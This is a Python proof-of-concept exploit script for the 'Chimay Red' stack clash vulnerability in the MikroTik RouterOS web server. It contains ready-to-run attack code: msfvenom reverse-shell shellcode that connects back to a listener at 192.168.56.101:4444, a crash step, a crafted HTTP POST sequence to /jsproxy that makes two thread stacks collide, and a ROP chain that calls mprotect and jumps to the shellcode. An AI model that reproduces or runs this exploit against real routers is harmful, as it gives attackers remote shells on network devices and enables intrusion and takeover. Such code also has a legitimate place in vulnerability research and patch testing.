#!/usr/bin/env python3

# Mikrotik Chimay Red Stack Clash POC by BigNerd95

# tested on RouterOS 6.38.4 (x86)

# AST_STACKSIZE = 0x20000 (stack frame size per thread)
# ASLR enabled on libs only
# DEP enabled

import socket, time, sys, struct

# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 -b '\x00' -f python -v shellcode
shellcode =  ""
shellcode += "\xbb\xc8\xd7\xb2\x5c\xdb\xde\xd9\x74\x24\xf4\x58"
shellcode += "\x33\xc9\xb1\x12\x31\x58\x12\x03\x58\x12\x83\x08"
shellcode += "\xd3\x50\xa9\xb9\x07\x63\xb1\xea\xf4\xdf\x5c\x0e"
shellcode += "\x72\x3e\x10\x68\x49\x41\xc2\x2d\xe1\x7d\x28\x4d"
shellcode += "\x48\xfb\x4b\x25\x8b\x53\x93\xd0\x63\xa6\xe4\x0b"
shellcode += "\x28\x2f\x05\x9b\xb6\x7f\x97\x88\x85\x83\x9e\xcf"
shellcode += "\x27\x03\xf2\x67\xd6\x2b\x80\x1f\x4e\x1b\x49\xbd"
shellcode += "\xe7\xea\x76\x13\xab\x65\x99\x23\x40\xbb\xda"

def p32(x):
    return struct.pack('I', x)

def makeHeader(num):
    header = b""
    header += b"POST /jsproxy HTTP/1.1\r\n"
    header += b"User-Agent: " + bytes(shellcode, 'latin') + b"\r\n"
    header += b"Content-Length: " + bytes(str(num), 'ascii') + b"\r\n\r\n"
    return header

def makeSocket(ip, port):
    s = socket.socket()
    try:
        s.connect((ip, port))
    except:
        print("Error connecting to socket")
        sys.exit(-1)
    print("Connected")
    time.sleep(0.5)
    return s

def socketSend(s, data):
    try:
        s.send(data)
    except:
        print("Error sending data")
        sys.exit(-1)
    print("Sent")
    time.sleep(0.5)

def stackClash(ip):
    # 1) Start 2 threads
    # open 2 socket so 2 threads are created
    s1 = makeSocket(ip, 80) # socket 1, thread A
    s2 = makeSocket(ip, 80) # socket 2, thread B

    # 2) Stack Clash
    # 2.1) send post header with Content-Length 0x20900 to socket 1 (thread A)
    socketSend(s1, makeHeader(0x20900)) # thanks to alloca, the Stack Pointer of thread A will point inside the stack frame of thread B (the post_data buffer will start from here)

    # 2.2) send 0x700-0x14 bytes as post data to socket 1 (thread A)
    socketSend(s1, b'A'*(0x700-20)) # increase the post_data buffer pointer of thread A to a position where a return address of thread B will be saved

    # 2.3) send post header with Content-Length 0x200 to socket 2 (thread B)
    socketSend(s2, makeHeader(0x200)) # thanks to alloca, the Stack Pointer of thread B will point where post_data buffer pointer of thread A is positioned

    # 3) Send ROP chain
    # send 4 byte to socket 1 (thread A) to overwrite a return address of a function in thread B
    # socketSend(s1, struct.pack('<L', 0x13371337)) # [ROP chain addresses start here]
    # add here your ROP chain addresses
    rop = b""
    rop += p32(0x0805212d) # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    rop += p32(0x0805d000) # ebx -> addr for mprotect
    rop += p32(0x90909090) # esi -> junk
    rop += p32(0x90909090) # edi -> junk
    rop += p32(0x90909090) # ebp -> junk
    rop += p32(0x0804fb48) # pop eax ; ret
    rop += p32(0x7d)       # eax -> mprotect systemcall
    rop += p32(0xffffe425) # pop edx ; pop ecx ; ret
    rop += p32(0x7)        # edx -> prot for mprotect
    rop += p32(0xe000)     # ecx -> len for mprotect
    rop += p32(0xffffe422) # int 0x80 ; pop ebp ; pop edx ; pop ecx ; ret
    rop += p32(0x90909090) # ebp -> junk
    rop += p32(0x90909090) # edx -> junk
    rop += p32(0x90909090) # ecx -> junk
    rop += p32(0x08061c28) # addr for shellcode in heap

    socketSend(s1, rop)

    # 4) Start ROP chain
    s2.close() # close socket 2 to return from the function of thread B and start ROP chain

def crash(ip):
    print("Crash...")
    s = makeSocket(ip, 80)
    socketSend(s, makeHeader(-1))
    socketSend(s, b'A' * 0x1000)
    s.close()
    time.sleep(2.5) # www takes up to 3 seconds to restart

if __name__ == "__main__":
    if len(sys.argv) == 2:
        crash(sys.argv[1])
        stackClash(sys.argv[1])
    else:
        print("Usage: ./StackClashPOC.py IP")